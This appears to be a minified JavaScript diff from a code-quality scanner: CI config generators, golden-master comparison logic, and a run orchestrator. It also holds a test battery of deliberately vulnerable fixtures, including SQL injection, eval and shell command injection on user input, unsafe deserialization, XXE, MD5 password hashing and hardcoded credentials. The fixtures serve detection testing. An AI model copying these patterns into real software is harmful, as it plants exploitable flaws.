GRAY}}module.exports={renderInit:renderInit,renderPhaseHeader:renderPhaseHeader,renderProgress:renderProgress,renderVerdict:renderVerdict,statusTag:statusTag,fullBanner:fullBanner,compactBanner:compactBanner,scoreBanner:scoreBanner,sectionHeader:sectionHeader,statusLine:statusLine,summaryLine:summaryLine,plainBanner:plainBanner,scoreColor:scoreColor,scoreLabel:scoreLabel,TAG_DONE:TAG_DONE,TAG_ACTIVE:TAG_ACTIVE,TAG_RUNNING:TAG_RUNNING,TAG_WAITING:TAG_WAITING,TAG_DEFLECTED:TAG_DEFLECTED,TAG_MUTATED:TAG_MUTATED,TAG_PASS:TAG_PASS,TAG_FAIL:TAG_FAIL,TAG_BREACH:TAG_BREACH,TAG_SURVIVED:TAG_SURVIVED,TAG_SKIP:TAG_SKIP,colors:{RESET:RESET,BOLD:BOLD,DIM:DIM,UNDER:UNDER,BLUE:BLUE,PURPLE:PURPLE,RED:RED,GREEN:GREEN,AMBER:AMBER,WHITE:WHITE,GRAY:GRAY,DBLUE:DBLUE,YELLOW:AMBER,ORANGE:AMBER,CYAN:BLUE}};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path");function buildGitHubWorkflow({threshold:e=70,level:n="gentle",nodeVersion:r="20"}={}){return`# Thuban Crucible — adversarial quality gate\n# Generated by: thuban crucible ci github\n# Docs: https://thuban.dev/docs/crucible\n\nname: Thuban Crucible\n\non:\n pull_request:\n branches: ['**']\n push:\n branches: [main, master]\n\nconcurrency:\n group: \${{ github.workflow }}-\${{ github.ref }}\n cancel-in-progress: true\n\njobs:\n crucible:\n name: Crucible Score Gate\n runs-on: ubuntu-latest\n timeout-minutes: 15\n\n steps:\n - name: Checkout\n uses: actions/checkout@v4\n with:\n fetch-depth: 0 # Full history for golden master diff\n\n - name: Setup Node.js\n uses: actions/setup-node@v4\n with:\n node-version: '${r}'\n cache: 'npm'\n\n - name: Install Thuban\n run: npm install -g thuban\n\n # ── Run Crucible ──────────────────────────────────────────\n - name: Run Crucible\n id: crucible\n run: |\n mkdir -p .crucible\n thuban crucible run . --level ${n} --json > .crucible/report.json || true\n echo "score=$(node -e "try{const r=require('./.crucible/report.json');console.log(r.score||0)}catch{console.log(0)}")" >> $GITHUB_OUTPUT\n\n # ── Golden master comparison ──────────────────────────────\n - name: Golden Master Comparison\n run: |\n if [ -f .crucible/golden-master.json ]; then\n echo "Running golden master diff..."\n thuban crucible golden . --json > .crucible/golden-diff.json || true\n node -e "\n const diff = require('./.crucible/golden-diff.json');\n const lost = diff.lostDetections || [];\n if (lost.length > 0) {\n console.error('CRUCIBLE REGRESSION: ' + lost.length + ' detection(s) lost vs golden master');\n lost.forEach(d => console.error(' - ' + d));\n process.exit(1);\n }\n console.log('Golden master OK — no regressions');\n " || exit 1\n else\n echo "No golden master on file — skipping comparison (run: thuban crucible approve)"\n fi\n\n # ── Score gate ────────────────────────────────────────────\n - name: Check Crucible Score\n run: |\n SCORE=\${{ steps.crucible.outputs.score }}\n THRESHOLD=${e}\n echo "Crucible Score: \${SCORE}/100 (threshold: \${THRESHOLD})"\n if [ "\${SCORE}" -lt "\${THRESHOLD}" ]; then\n echo "FAIL: Crucible Score \${SCORE} is below threshold \${THRESHOLD}"\n echo "Run 'thuban crucible run . --level ${n}' locally for details"\n exit 1\n fi\n echo "PASS: Crucible Score \${SCORE} meets threshold \${THRESHOLD}"\n\n # ── Upload report as artifact ─────────────────────────────\n - name: Upload Crucible Report\n uses: actions/upload-artifact@v4\n if: always()\n with:\n name: crucible-report\n path: .crucible/\n retention-days: 30\n`}function buildGitLabCI({threshold:e=70,level:n="gentle",nodeVersion:r="20"}={}){return`# Thuban Crucible — adversarial quality gate\n# Generated by: thuban crucible ci gitlab\n# Docs: https://thuban.dev/docs/crucible\n\nstages:\n - test\n - crucible\n\nvariables:\n NODE_VERSION: "${r}"\n CRUCIBLE_THRESHOLD: "${e}"\n CRUCIBLE_LEVEL: "${n}"\n\n# ── Crucible stage ────────────────────────────────────────────\nthuban-crucible:\n stage: crucible\n image: node:\${NODE_VERSION}-slim\n before_script:\n - npm install -g thuban\n - mkdir -p .crucible\n script:\n # Run Crucible and capture JSON report\n - thuban crucible run . --level \${CRUCIBLE_LEVEL} --json > .crucible/report.json || true\n\n # Golden master comparison\n - |\n if [ -f .crucible/golden-master.json ]; then\n thuban crucible golden . --json > .crucible/golden-diff.json || true\n node -e "\n const diff = require('./.crucible/golden-diff.json');\n const lost = diff.lostDetections || [];\n if (lost.length > 0) {\n console.error('CRUCIBLE REGRESSION: ' + lost.length + ' detection(s) lost');\n lost.forEach(d => console.error(' - ' + d));\n process.exit(1);\n }\n console.log('Golden master OK — no regressions');\n "\n else\n echo "No golden master on file — skipping"\n fi\n\n # Score gate\n - |\n SCORE=$(node -e "try{const r=require('./.crucible/report.json');console.log(r.score||0)}catch{console.log(0)}")\n echo "Crucible Score: \${SCORE}/100 (threshold: \${CRUCIBLE_THRESHOLD})"\n if [ "\${SCORE}" -lt "\${CRUCIBLE_THRESHOLD}" ]; then\n echo "FAIL: Crucible Score \${SCORE} is below threshold \${CRUCIBLE_THRESHOLD}"\n exit 1\n fi\n echo "PASS: Crucible Score \${SCORE} meets threshold"\n\n artifacts:\n when: always\n paths:\n - .crucible/\n expire_in: 30 days\n\n rules:\n - if: $CI_PIPELINE_SOURCE == "merge_request_event"\n - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n`}function buildBitbucketPipelines({threshold:e=70,level:n="gentle",nodeVersion:r="20"}={}){return`# Thuban Crucible — adversarial quality gate\n# Generated by: thuban crucible ci bitbucket\n# Docs: https://thuban.dev/docs/crucible\n\nimage: node:${r}-slim\n\ndefinitions:\n steps:\n - step: &crucible-step\n name: Thuban Crucible Score Gate\n script:\n - npm install -g thuban\n - mkdir -p .crucible\n\n # Run Crucible\n - thuban crucible run . --level ${n} --json > .crucible/report.json || true\n\n # Golden master comparison\n - |\n if [ -f .crucible/golden-master.json ]; then\n thuban crucible golden . --json > .crucible/golden-diff.json || true\n node -e "\n const diff = require('./.crucible/golden-diff.json');\n const lost = diff.lostDetections || [];\n if (lost.length > 0) {\n console.error('CRUCIBLE REGRESSION: ' + lost.length + ' detection(s) lost');\n lost.forEach(d => console.error(' - ' + d));\n process.exit(1);\n }\n console.log('Golden master OK — no regressions');\n "\n else\n echo "No golden master — skipping comparison"\n fi\n\n # Score gate\n - |\n SCORE=$(node -e "try{const r=require('./.crucible/report.json');console.log(r.score||0)}catch{console.log(0)}")\n echo "Crucible Score: \${SCORE}/100 (threshold: ${e})"\n if [ "\${SCORE}" -lt "${e}" ]; then\n echo "FAIL: Crucible Score \${SCORE} is below threshold ${e}"\n exit 1\n fi\n echo "PASS: Crucible Score \${SCORE} meets threshold"\n\n artifacts:\n - .crucible/**\n\npipelines:\n pull-requests:\n '**':\n - step: *crucible-step\n\n branches:\n main:\n - step: *crucible-step\n master:\n - step: *crucible-step\n`}const PLATFORMS={github:{filename:".github/workflows/thuban-crucible.yml",build:buildGitHubWorkflow},gitlab:{filename:".gitlab-ci.yml",build:buildGitLabCI},bitbucket:{filename:"bitbucket-pipelines.yml",build:buildBitbucketPipelines}};function generateCIConfig(e,n,r={}){const o=PLATFORMS[e];if(!o)throw new Error(`Unknown platform "${e}". Choose: ${Object.keys(PLATFORMS).join(", ")}`);const t=path.resolve(n),l=o.build(r),c=path.join(t,o.filename);if(!c.startsWith(t+path.sep))throw new Error("CI config output path escapes targetPath boundary");return fs.mkdirSync(path.dirname(c),{recursive:!0}),fs.writeFileSync(c,l,"utf-8"),{success:!0,outputPath:c,platform:e,filename:o.filename,threshold:r.threshold||70,level:r.level||"gentle"}}function listPlatforms(){return Object.keys(PLATFORMS)}module.exports={generateCIConfig:generateCIConfig,listPlatforms:listPlatforms,PLATFORMS:PLATFORMS};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),crypto=require("crypto"),GOLDEN_DIR_NAME=".golden",GOLDEN_MASTER_FILE="golden-master.json";class GoldenMaster{constructor(e={}){this.goldenDir=e.goldenDir||path.join(__dirname,".golden"),fs.mkdirSync(this.goldenDir,{recursive:!0})}get masterPath(){return path.join(this.goldenDir,GOLDEN_MASTER_FILE)}snapshotPath(e){const t=e.replace(/[^a-zA-Z0-9_\-]/g,"_");return path.join(this.goldenDir,`${t}.json`)}hasMaster(){return fs.existsSync(this.masterPath)}hasSnapshot(e){return fs.existsSync(this.snapshotPath(e))}loadMaster(){if(!this.hasMaster())return null;try{const e=JSON.parse(fs.readFileSync(this.masterPath,"utf-8"));return e&&"object"==typeof e&&(delete e.__proto__,delete e.constructor,delete e.prototype),e}catch{return null}}loadSnapshot(e){const t=this.snapshotPath(e);if(!fs.existsSync(t))return null;try{const e=JSON.parse(fs.readFileSync(t,"utf-8"));return e&&"object"==typeof e&&(delete e.__proto__,delete e.constructor,delete e.prototype),e}catch{return null}}listSnapshots(){return fs.readdirSync(this.goldenDir).filter(e=>e.endsWith(".json")&&e!==GOLDEN_MASTER_FILE).map(e=>path.parse(e).name)}approve(e,t={}){const n=this._buildRecord(e,t);return fs.writeFileSync(this.masterPath,JSON.stringify(n,null,2),"utf-8"),n}saveSnapshot(e,t,n={}){const s=this._buildRecord(t,n);return fs.writeFileSync(this.snapshotPath(e),JSON.stringify(s,null,2),"utf-8"),s}compare(e){const t=this.loadMaster();if(!t)return{hasMaster:!1,regressions:0,improvements:0,unchanged:0,lostDetections:[],newDetections:[],unchanged:[],summary:"No golden master on file. Run: thuban crucible approve"};const n=new Set(t.findings.map(e=>this._findingKey(e))),s=new Set(e.map(e=>this._findingKey(e))),i=t.findings.filter(e=>!s.has(this._findingKey(e))).map(e=>this._findingKey(e)),r=e.filter(e=>!n.has(this._findingKey(e))).map(e=>this._findingKey(e)),a=e.filter(e=>n.has(this._findingKey(e))).map(e=>this._findingKey(e)),o=i.length,l=r.length;let d;return d=0===o&&0===l?"Golden master OK — no changes detected":o>0?`REGRESSION: ${o} detection(s) lost vs golden master`:`${l} new detection(s) vs golden master (improvements)`,{hasMaster:!0,goldenTimestamp:t.timestamp,goldenScore:t.meta.score,regressions:o,improvements:l,unchangedCount:a.length,lostDetections:i,newDetections:r,unchanged:a,passed:0===o,summary:d}}compareSnapshots(e,t){const n="master"===e?this.loadMaster():this.loadSnapshot(e),s="master"===t?this.loadMaster():this.loadSnapshot(t);if(!n||!s)return null;const i=new Set(n.findings.map(e=>this._findingKey(e))),r=new Set(s.findings.map(e=>this._findingKey(e))),a=n.findings.filter(e=>!r.has(this._findingKey(e))).map(e=>this._findingKey(e)),o=s.findings.filter(e=>!i.has(this._findingKey(e))).map(e=>this._findingKey(e)),l=n.findings.filter(e=>r.has(this._findingKey(e))).map(e=>this._findingKey(e));return{a:{name:e,score:n.meta.score,timestamp:n.timestamp,total:n.findings.length},b:{name:t,score:s.meta.score,timestamp:s.timestamp,total:s.findings.length},onlyInA:a,onlyInB:o,inBoth:l,delta:(s.meta.score||0)-(n.meta.score||0)}}_buildRecord(e,t){const n=(e||[]).map(e=>this._normalizeFinding(e));return n.sort((e,t)=>this._findingKey(e).localeCompare(this._findingKey(t))),{version:1,timestamp:(new Date).toISOString(),hash:this._hashFindings(n),count:n.length,meta:{score:t.score||null,level:t.level||null,seeds:t.seeds||null,duration:t.duration||null,...t},findings:n}}_normalizeFinding(e){return{seedId:e.seedId||null,category:e.category||e.type||"unknown",severity:e.severity||"medium",language:e.language||e.lang||null,detected:void 0===e.detected||Boolean(e.detected),label:e.label||e.message||e.id||""}}_findingKey(e){const t=this._normalizeFinding(e);return[t.seedId,t.category,t.language,t.label].filter(Boolean).join("|")}_hashFindings(e){const t=JSON.stringify(e);return crypto.createHash("sha256").update(t).digest("hex").slice(0,16)}}module.exports={GoldenMaster:GoldenMaster};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),os=require("os"),crypto=require("crypto"),{SeedingEngine:SeedingEngine,mulberry32:mulberry32,ALL_LANGUAGES:ALL_LANGUAGES}=require("./seeding-engine.js"),{MutationEngine:MutationEngine}=require("./mutation-engine.js"),{GoldenMaster:GoldenMaster}=require("./golden-master.js"),{SelfAttack:SelfAttack}=require("./self-attack.js"),{KennyMode:KennyMode}=require("./kenny-mode.js"),{ReportGenerator:ReportGenerator,calculateCrucibleScore:calculateCrucibleScore}=require("./report-generator.js"),banner=require("./banner.js"),{getPatterns:getPatterns}=require("./rule-loader.js"),{PatternLearner:PatternLearner}=require("./pattern-learner.js"),CodeScanner=require("../scanner/code-scanner.js"),HallucinationDetector=require("../scanner/hallucination-detector.js");function parseFlag(e,t,r){const n=e.find(e=>e.startsWith(`--${t}=`));return n?n.split("=").slice(1).join("="):!!e.includes(`--${t}`)||r}function parseIntFlag(e,t,r){const n=parseFlag(e,t,null);if(null===n)return r;const s=parseInt(n,10);return isNaN(s)?r:s}function detectCLI(){const e=[path.join(__dirname,"../../cli.js"),path.join(__dirname,"../../dist/cli.js"),path.join(__dirname,"../../bin/thuban.js")];for(const t of e)if(fs.existsSync(t))return t;return null}async function runThubanScan(e,t,r=3e4){const n=new Set;let s=!1;try{const t=new CodeScanner({rootPath:path.dirname(e)}),r=await t.scanFile(e);for(const e of r)e.type&&n.add(e.type),e.category&&n.add(e.category)}catch{s=!0}try{const t=new HallucinationDetector({rootPath:path.dirname(e)}),r=await t.scan([e]);r&&((r.phantomImports||[]).length&&n.add("hallucination"),(r.phantomAPIs||[]).length&&n.add("hallucination"),(r.deprecatedAPIs||[]).length&&n.add("deprecated_api"),(r.aiSmells||[]).length&&n.add("ai_smell"))}catch{}const a=Array.from(n),o={detected:a.length>0,categories:a,output:a.length>0?JSON.stringify({issues:a.map(e=>({category:e}))}):"{}",crashed:s,timedOut:!1},i=_simulateScan(e);return o.heuristic=Object.assign({_isHeuristic:!0},i),o}function _simulateScan(e){let t="";try{t=fs.readFileSync(e,"utf-8")}catch{return{detected:!1,categories:[],output:"",crashed:!1,timedOut:!1}}t=t.normalize("NFKC").replace(/[\u200B-\u200D\u2060\uFEFF]/g,"");const r=t.replace(/(['"])([^'"\r\n]*)\1\s*[+.]\s*(['"])([^'"\r\n]*)\3/g,(e,t,r,n,s)=>t===n?`${t}${r}${s}${t}`:e),n=r!==t?t+"\n"+r:t,s=getPatterns().filter(e=>e.regex.test(n)).map(e=>e.category),a=Array.from(new Set(s));return{detected:a.length>0,categories:a,output:a.length>0?JSON.stringify({issues:a.map(e=>({category:e}))}):"{}",crashed:!1,timedOut:!1}}function _emit(e,t){process.stdout.isTTY&&!t?process.stdout.write("\r"+e+" "):process.stdout.write(e+"\n")}function _pin(e){process.stdout.isTTY?process.stdout.write("\r"+e+"\n"):process.stdout.write(e+"\n")}async function run(e={}){const t=e.level||"gentle",r="number"==typeof e.seed?e.seed:42,n=!!e.silent,s=detectCLI(),a="0x"+r.toString(16).toUpperCase().padStart(9,"0"),o=!1!==e.learn,i=o?new PatternLearner:null,d={newPatterns:0,missedPatterns:0};if(!n){const n="--level "+t+("hell"===t?" (Adversarial + Chaos Mutation)":"");process.stdout.write(banner.renderInit({version:"0.4.0",target:e.targetPath||".",mode:n,seed:r})),process.stdout.write(banner.renderPhaseHeader())}const c=new SeedingEngine({prngseed:r});c.load();const l=c.selectForLevel(t,{languages:e.languages,categories:e.categories}),u=crypto.randomUUID?crypto.randomUUID():crypto.randomBytes(16).toString("hex"),g=path.join(os.tmpdir(),`thuban-crucible-${u}`);fs.mkdirSync(g,{recursive:!0});const p=mulberry32(r),m={sampleRate:.1,sampled:0,agreements:0,divergences:[]};function y(e,t,r){e.heuristic&&e.heuristic.detected&&(p()>=.1||(m.sampled++,e.detected?m.agreements++:m.divergences.push({seedId:t.id,category:t.category,language:t.language,phase:r,heuristicCategories:e.heuristic.categories,productionCategories:e.categories})))}const h={total:l.length,detected:0,missed:0,byLanguage:{},byCategory:{},tests:[]},f=Date.now();try{n||_emit(banner.renderProgress("SEEDING","ACTIVE",{detail:"Auto-generating "+l.length.toLocaleString("en-US")+" boundary test cases..."}));for(const t of l){const r=path.join(g,t.langDir+"-"+t.filename);fs.writeFileSync(r,t.content,"utf-8");const a=await runThubanScan(r,s),o=a.detected||a.categories.includes(t.category);if(y(a,t,"seed"),o?h.detected++:h.missed++,i)try{o?i.recordDiscoveredIfUncovered({category:t.category,language:t.langDir,content:t.content,severity:t.severity,seedId:t.id}).added&&d.newPatterns++:i.recordMissedPattern({seedId:t.id,content:t.content,expectedCategory:t.category,language:t.langDir,scannerOutput:a.output,severity:t.severity,meta:{expected:t.expected,phase:"seed"}}).added&&d.missedPatterns++}catch{}h.byLanguage[t.langDir]||(h.byLanguage[t.langDir]={total:0,detected:0}),h.byLanguage[t.langDir].total++,o&&h.byLanguage[t.langDir].detected++,h.byCategory[t.category]||(h.byCategory[t.category]={total:0,detected:0}),h.byCategory[t.category].total++,o&&h.byCategory[t.category].detected++;const c={id:t.id,category:t.category,severity:t.severity,language:t.language,expected:t.expected,detected:o};h.tests.push(c),n||_emit(banner.renderProgress("SEEDING","ACTIVE",{detail:"Scanning seed "+h.tests.length+"/"+l.length+" ["+t.category+"]"})),e.onProgress&&e.onProgress("seed",t,{detected:o})}n||_pin(banner.renderProgress("SEEDING","DONE",{detail:l.length.toLocaleString("en-US")+" boundary test cases scanned"}));const c={total:0,killed:0,survived:0,tests:[]},u=!1!==e.mutations&&("medium"===t||"hell"===t);if(u){const a=new MutationEngine({prngseed:r}),o="hell"===t?l:l.slice(0,Math.min(50,l.length));n||_emit(banner.renderProgress("MUTATION","ACTIVE",{detail:"Injecting silent encoding/logic drifts..."}));for(const t of o){a.createSession();try{const{tempPath:r,applied:o}=a.mutateFile(t.file),i=await runThubanScan(r,s),d=i.detected||i.categories.includes(t.category);if(y(i,t,"mutation"),c.total++,d?c.killed++:c.survived++,c.tests.push({seedId:t.id,applied:o,killed:d}),!n){const e=d?"DEFLECTED":"MUTATED",r=(o&&o.length?o[0]:t.category)+" on "+t.filename;_pin(banner.renderProgress("",e,{sub:!0,subLabel:r}))}e.onProgress&&e.onProgress("mutation",t,{killed:d,applied:o})}catch{}finally{a.cleanup()}}n||_pin(banner.renderProgress("MUTATION","DONE",{detail:c.total+" mutations processed — "+c.killed+" deflected, "+c.survived+" survived"}))}else n||_pin(banner.renderProgress("MUTATION","SKIP",{detail:"Mutations disabled for level: "+t,last:!1}));n||_pin(banner.renderProgress("SELF_ATTACK","WAITING",{detail:"Run: thuban crucible self-test",last:!0}));const p=Date.now()-f,b=calculateCrucibleScore({seedResults:h,mutationResults:c});if(m.agreementRate=m.sampled>0?Math.round(m.agreements/m.sampled*100):null,!n){const e=h.missed,t=h.detected+(u?c.killed:0),r=l.length+(u?c.total:0),n=b>=50,s="./thuban/crucible-report-"+a+".md";if(process.stdout.write(banner.renderVerdict({survived:n,mutationsAttempted:r,deflections:t,breaches:e,score:b,reportPath:s,seedHex:a})),m.sampled>0){const e=m.agreementRate+"%";if(0===m.divergences.length)console.log(` Heuristic-CLI agreement: ${e} on ${m.sampled} sampled seeds`);else{console.log(` ⚠ Heuristic-CLI agreement: ${e} on ${m.sampled} sampled seeds (${m.divergences.length} divergence(s) — heuristic detected, production scanner did not)`);for(const e of m.divergences)console.log(` - ${e.seedId} [${e.category}/${e.language}, phase=${e.phase}]: heuristic=${JSON.stringify(e.heuristicCategories)} production=${JSON.stringify(e.productionCategories)}`)}}o&&(d.newPatterns>0||d.missedPatterns>0)&&console.log(` Pattern learning: +${d.newPatterns} new rule(s) discovered, ${d.missedPatterns} missed pattern(s) queued for review (run \`thuban crucible learn\` to promote confirmed ones)`)}return{timestamp:(new Date).toISOString(),level:t,seed:r,duration:p,score:b,seedResults:h,mutationResults:u?c:null,divergenceStats:m,learningStats:o?d:null}}finally{try{fs.rmSync(g,{recursive:!0,force:!0})}catch{}}}async function kenny(e={}){const t=!!e.silent;t||(process.stdout.write(banner.renderInit({version:"0.4.0",target:"Kenny Mode — Legacy Adversarial Battery",mode:"KENNY_MODE (7 batteries + adversarial)"})),process.stdout.write(banner.renderPhaseHeader("KENNY MODE IS ACTIVE...")));const r=new KennyMode({thubancli:detectCLI()}),n=e.onProgress,s=Object.assign({},e,{onProgress:(e,r)=>{if(!t){const t=r.skipped?"SKIP":r.passed?"PASS":"FAIL",n=(e.battery||"").replace(/^\d+-/,"").toUpperCase();_pin(banner.renderProgress(n||"KENNY",t,{detail:e.id+" — "+e.name.slice(0,45)}))}n&&n(e,r)}}),a=await r.run(s);if(!t){const e=a.score>=50;process.stdout.write(banner.renderVerdict({survived:e,mutationsAttempted:a.total,deflections:a.passed,breaches:a.failed,score:a.score}))}return a}async function selfTest(e={}){const t=!!e.silent;t||(process.stdout.write(banner.renderInit({version:"0.4.0",target:"Thuban Core — Self-Isolation Attack",mode:"SELF_ATTACK (adversarial core scan)"})),process.stdout.write(banner.renderPhaseHeader("INITIATING SELF-ATTACK SEQUENCE...")),_emit(banner.renderProgress("SELF_ATTACK","ACTIVE",{detail:"Executing Thuban core isolation test...",last:!0})));const r=new SelfAttack({thubancli:detectCLI()}),n=await r.run(e);if(!t){const e=!n.critical||0===n.critical;_pin(banner.renderProgress("SELF_ATTACK",e?"DONE":"BREACH",{detail:e?"Core isolation test complete":"CRITICAL: core breach detected",last:!0})),process.stdout.write(banner.renderVerdict({survived:e,score:n.score}))}return n}function approve(e,t={}){const r=new GoldenMaster(t),n=(e.seedResults.tests||[]).map(e=>({seedId:e.id,category:e.category,severity:e.severity,language:e.language,detected:e.detected,label:e.expected}));return r.approve(n,{score:e.score,level:e.level,seeds:e.seedResults.total,duration:e.duration})}function learn(e={}){const t=new PatternLearner,r={reviewed:0,promoted:0,skipped:0,promotedIds:[],manual:[]};if(!1!==e.auto){const e=t.autoPromoteMissedPatterns();r.reviewed+=e.reviewed,r.promoted+=e.promoted,r.skipped+=e.skipped,r.promotedIds.push(...e.promotedIds)}if(Array.isArray(e.ids))for(const n of e.ids){const s=e.patterns&&e.patterns[n];if(s)try{const e=t.promoteToScannerRule(n,{pattern:s});r.manual.push(Object.assign({id:n},e)),e.added&&(r.promoted++,r.promotedIds.push(e.id))}catch(e){r.manual.push({id:n,added:!1,reason:e.message})}else r.manual.push({id:n,added:!1,reason:"no-pattern-supplied"})}return r}function compareGolden(e,t={}){const r=new GoldenMaster(t),n=(e.seedResults.tests||[]).map(e=>({seedId:e.id,category:e.category,severity:e.severity,language:e.language,detected:e.detected,label:e.expected}));return r.compare(n)}function report(e,t={}){const r=new ReportGenerator({outputDir:t.outputDir||process.cwd()});return{htmlPath:r.generate(e,t),jsonPath:r.generateJSON(e,{filename:t.filename?t.filename.replace(/\.html$/,".json"):void 0})}}module.exports={run:run,kenny:kenny,selfTest:selfTest,approve:approve,compareGolden:compareGolden,report:report,learn:learn,SeedingEngine:SeedingEngine,MutationEngine:MutationEngine,GoldenMaster:GoldenMaster,SelfAttack:SelfAttack,KennyMode:KennyMode,ReportGenerator:ReportGenerator,PatternLearner:PatternLearner,banner:banner,mulberry32:mulberry32,calculateCrucibleScore:calculateCrucibleScore,ALL_LANGUAGES:ALL_LANGUAGES,detectCLI:detectCLI};
@@ -0,0 +1 @@
1
+ "use strict";const fs=require("fs"),path=require("path"),os=require("os"),crypto=require("crypto"),{spawnSync:spawnSync}=require("child_process"),{getPatterns:getPatterns}=require("./rule-loader.js"),KENNY_TESTS=[{id:"K01-JS-PHANTOM-API",name:"Phantom API: fs.readFileAsync does not exist",battery:"1-javascript",language:"javascript",filename:"phantom-api.js",content:"\nconst fs = require('fs');\n\nasync function readConfig(configPath) {\n // HALLUCINATION: fs.readFileAsync does not exist\n const data = await fs.readFileAsync(configPath, 'utf8');\n return JSON.parse(data);\n}\n\nmodule.exports = { readConfig };\n",mustDetect:["hallucination","HALL_API"],mustNotFlag:[]},{id:"K02-JS-HARDCODED-SECRET",name:"Hardcoded AWS credentials in JS",battery:"1-javascript",language:"javascript",filename:"aws-creds.js",content:"\nconst AWS = require('aws-sdk');\n\nAWS.config.update({\n accessKeyId: 'AKIAIOSFODNN7EXAMPLE',\n secretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n region: 'us-east-1'\n});\n\nmodule.exports = new AWS.S3();\n",mustDetect:["security","hardcoded_secret"],mustNotFlag:[]},{id:"K03-JS-SQLI",name:"SQL injection via string concatenation",battery:"1-javascript",language:"javascript",filename:"sqli.js",content:"\nconst mysql = require('mysql');\nconst connection = mysql.createConnection({ host: 'localhost', database: 'app' });\n\nfunction getUser(username) {\n const query = \"SELECT * FROM users WHERE username = '\" + username + \"'\";\n return new Promise((resolve, reject) => {\n connection.query(query, (err, results) => {\n if (err) reject(err);\n else resolve(results);\n });\n });\n}\n\nmodule.exports = { getUser };\n",mustDetect:["security","sql_injection"],mustNotFlag:[]},{id:"K04-JS-EVAL-ABUSE",name:"eval() with user-controlled input",battery:"1-javascript",language:"javascript",filename:"eval-abuse.js",content:"\nconst express = require('express');\nconst app = express();\n\napp.post('/calculate', (req, res) => {\n const { expression } = req.body;\n // DANGEROUS: eval with user input allows RCE\n const result = eval(expression);\n res.json({ result });\n});\n\nmodule.exports = app;\n",mustDetect:["security","eval_abuse"],mustNotFlag:[]},{id:"K05-GO-SQLI",name:"SQL injection in Go via fmt.Sprintf",battery:"2-go",language:"go",filename:"sqli.go",content:'\npackage repository\n\nimport (\n\t"database/sql"\n\t"fmt"\n)\n\ntype UserRepo struct {\n\tdb *sql.DB\n}\n\nfunc (r *UserRepo) FindByUsername(username string) (*User, error) {\n\t// VULNERABLE: SQL injection via fmt.Sprintf\n\tquery := fmt.Sprintf("SELECT * FROM users WHERE username = \'%s\'", username)\n\trow := r.db.QueryRow(query)\n\t\n\tvar user User\n\tif err := row.Scan(&user.ID, &user.Username); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &user, nil\n}\n',mustDetect:["security","sql_injection"],mustNotFlag:[]},{id:"K06-GO-HARDCODED",name:"Hardcoded database password in Go",battery:"2-go",language:"go",filename:"config.go",content:'\npackage config\n\nimport "database/sql"\n\nconst (\n\tDBHost = "localhost"\n\tDBUser = "admin"\n\tDBPassword = "SuperSecretProd2024!"\n\tDBName = "production_db"\n)\n\nfunc GetDB() (*sql.DB, error) {\n\tdsn := DBUser + ":" + DBPassword + "@tcp(" + DBHost + ")/" + DBName\n\treturn sql.Open("mysql", dsn)\n}\n',mustDetect:["security","hardcoded_secret"],mustNotFlag:[]},{id:"K07-GO-COMMAND-INJECT",name:"Command injection in Go via sh -c",battery:"2-go",language:"go",filename:"cmd-inject.go",content:'\npackage handlers\n\nimport (\n\t"net/http"\n\t"os/exec"\n)\n\nfunc PingHandler(w http.ResponseWriter, r *http.Request) {\n\thost := r.URL.Query().Get("host")\n\t// VULNERABLE: user input passed directly to shell\n\tcmd := exec.Command("/bin/sh", "-c", "ping -c 1 "+host)\n\tout, _ := cmd.Output()\n\tw.Write(out)\n}\n',mustDetect:["security","command_injection"],mustNotFlag:[]},{id:"K08-PY-SQLI",name:"SQL injection in Python via % formatting",battery:"3-python",language:"python",filename:"sqli.py",content:"\nimport sqlite3\n\ndef get_user(db_path, username):\n conn = sqlite3.connect(db_path)\n cursor = conn.cursor()\n # VULNERABLE: SQL injection via string formatting\n query = \"SELECT * FROM users WHERE username = '%s'\" % username\n cursor.execute(query)\n return cursor.fetchone()\n",mustDetect:["security","sql_injection"],mustNotFlag:[]},{id:"K09-PY-MD5-PASSWORD",name:"MD5 used for password hashing in Python",battery:"3-python",language:"python",filename:"crypto.py",content:"\nimport hashlib\n\ndef hash_password(password: str) -> str:\n # INSECURE: MD5 is not suitable for password hashing\n return hashlib.md5(password.encode()).hexdigest()\n\ndef verify_password(password: str, stored_hash: str) -> bool:\n return hash_password(password) == stored_hash\n",mustDetect:["security","insecure_crypto"],mustNotFlag:[]},{id:"K10-PY-PICKLE",name:"Pickle deserialization of untrusted data",battery:"3-python",language:"python",filename:"deserialize.py",content:"\nimport pickle\nimport base64\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/load', methods=['POST'])\ndef load_object():\n # DANGEROUS: deserializing user-provided pickle data allows RCE\n data = base64.b64decode(request.json['data'])\n obj = pickle.loads(data)\n return str(obj)\n",mustDetect:["security","deserialization"],mustNotFlag:[]},{id:"K11-JAVA-DESER",name:"Java ObjectInputStream deserialization",battery:"4-java",language:"java",filename:"Deserializer.java",content:"\nimport java.io.*;\nimport java.util.Base64;\n\npublic class Deserializer {\n \n // DANGEROUS: deserializing untrusted ObjectInputStream allows RCE\n public static Object deserializeFromBase64(String base64Data) throws Exception {\n byte[] data = Base64.getDecoder().decode(base64Data);\n ByteArrayInputStream bais = new ByteArrayInputStream(data);\n ObjectInputStream ois = new ObjectInputStream(bais);\n return ois.readObject(); // VULNERABLE\n }\n}\n",mustDetect:["security","deserialization"],mustNotFlag:[]},{id:"K12-JAVA-XXE",name:"Java XML parsing without disabling external entities (XXE)",battery:"4-java",language:"java",filename:"XmlParser.java",content:'\nimport org.xml.sax.*;\nimport org.xml.sax.helpers.XMLReaderFactory;\n\npublic class XmlParser {\n\n public void parse(String xmlContent) throws Exception {\n // VULNERABLE: external entities not disabled (XXE attack)\n XMLReader reader = XMLReaderFactory.createXMLReader();\n // Missing: reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);\n InputSource is = new InputSource(new java.io.StringReader(xmlContent));\n reader.parse(is);\n }\n}\n',mustDetect:["security","xxe"],mustNotFlag:[]},{id:"K13-CS-SQLI",name:"SQL injection in C# via string concatenation",battery:"5-csharp",language:"csharp",filename:"UserRepository.cs",content:'\nusing System.Data.SqlClient;\n\npublic class UserRepository\n{\n private string 